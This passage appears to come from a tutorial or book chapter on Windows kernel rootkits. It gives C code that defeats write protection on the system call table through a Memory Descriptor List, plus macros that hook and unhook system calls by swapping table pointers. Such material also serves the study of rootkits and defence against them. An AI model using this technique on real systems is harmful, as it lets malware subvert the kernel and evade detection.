Before hooking kernel functions, some consideration must be given to anti-tampering devices. Modern Windows operating systems are capable of protecting kernel memory by making the system call table read-only. This can prevent kernel hooking if not properly circumvented. Memory Descriptor Lists are shown in Figure 3-1.
Figure 3-1
The key to circumventing protected memory lies with the Memory Descriptor List, defined within ntddk.h of the Microsoft Windows Driver Development Kit. The following structure and definitions are from that file:
typedef struct _MDL { struct _MDL *Next; CSHORT Size; CSHORT MdlFlags; struct _EPROCESS *Process; PVOID MappedSystemVa; PVOID StartVa; ULONG ByteCount; ULONG ByteOffset; } MDL, *PMDL; #define MDL_MAPPED_TO_SYSTEM_VA 0x0001 #define MDL_PAGES_LOCKED 0x0002 #define MDL_SOURCE_IS_NONPAGED_POOL 0x0004 #define MDL_ALLOCATED_FIXED_SIZE 0x0008 #define MDL_PARTIAL 0x0010 #define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020 #define MDL_IO_PAGE_READ 0x0040 #define MDL_WRITE_OPERATION 0x0080 #define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100 #define MDL_FREE_EXTRA_PTES 0x0200 #define MDL_IO_SPACE 0x0800 #define MDL_NETWORK_HEADER 0x1000 #define MDL_MAPPING_CAN_FAIL 0x2000 #define MDL_ALLOCATED_MUST_SUCCEED 0x4000 #define MDL_MAPPING_FLAGS (MDL_MAPPED_TO_SYSTEM_VA | \ MDL_PAGES_LOCKED | \ MDL_SOURCE_IS_NONPAGED_POOL | \ MDL_PARTIAL_HAS_BEEN_MAPPED | \ MDL_PARENT_MAPPED_SYSTEM_VA | \ MDL_SYSTEM_VA | \ MDL_IO_SPACE )
Memory Descriptor Lists (MDLs) are used to map virtual memory to physical pages. If the MDL for the memory containing the system call table has the MDLFlags member set to MDL_MAPPED_TO_SYSTEM_VA and the page is locked, kernel hooking should be possible. The following code segment will achieve this result:
#pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; PVOID* NewSystemCallTable; PMDL pMyMDL = MmCreateMdl( NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices * 4 ); MmBuildMdlForNonPagedPool( pMyMDL ); pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );
Now you can use NewSystemCallTable when hooking. Figure 3-2 shows the system call table.
Figure 3-2
Consider using the following macros to hook:
#define HOOK_INDEX(function2hook) *(PULONG)((PUCHAR)function2hook+1) #define HOOK(functionName, newPointer2Function, oldPointer2Function ) \ oldPointer2Function = (PVOID) InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) newPointer2Function) #define UNHOOK(functionName, oldPointer2Function) \ InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) oldPointer2Function)
Hooking the system call table is shown in Figure 3-3.
Figure 3-3
The KeServiceDescriptorTable (system call table) data structure contains all the ntdll.dll function pointers and provides the base address and table size needed to create your own Memory Descriptor List. Once you have built a non-paged MDL with the MDL_MAPPED_TO_SYSTEM_VA flag, you can lock it and use the returned address as your own (writable) system call table.
The #defines are used to make hooking safe and easy. The method of pointer exchange is safe because of InterlockedExchange, an atomic function that does not require the suspension of interrupts, and what could be easier than one macro to hook and another to unhook?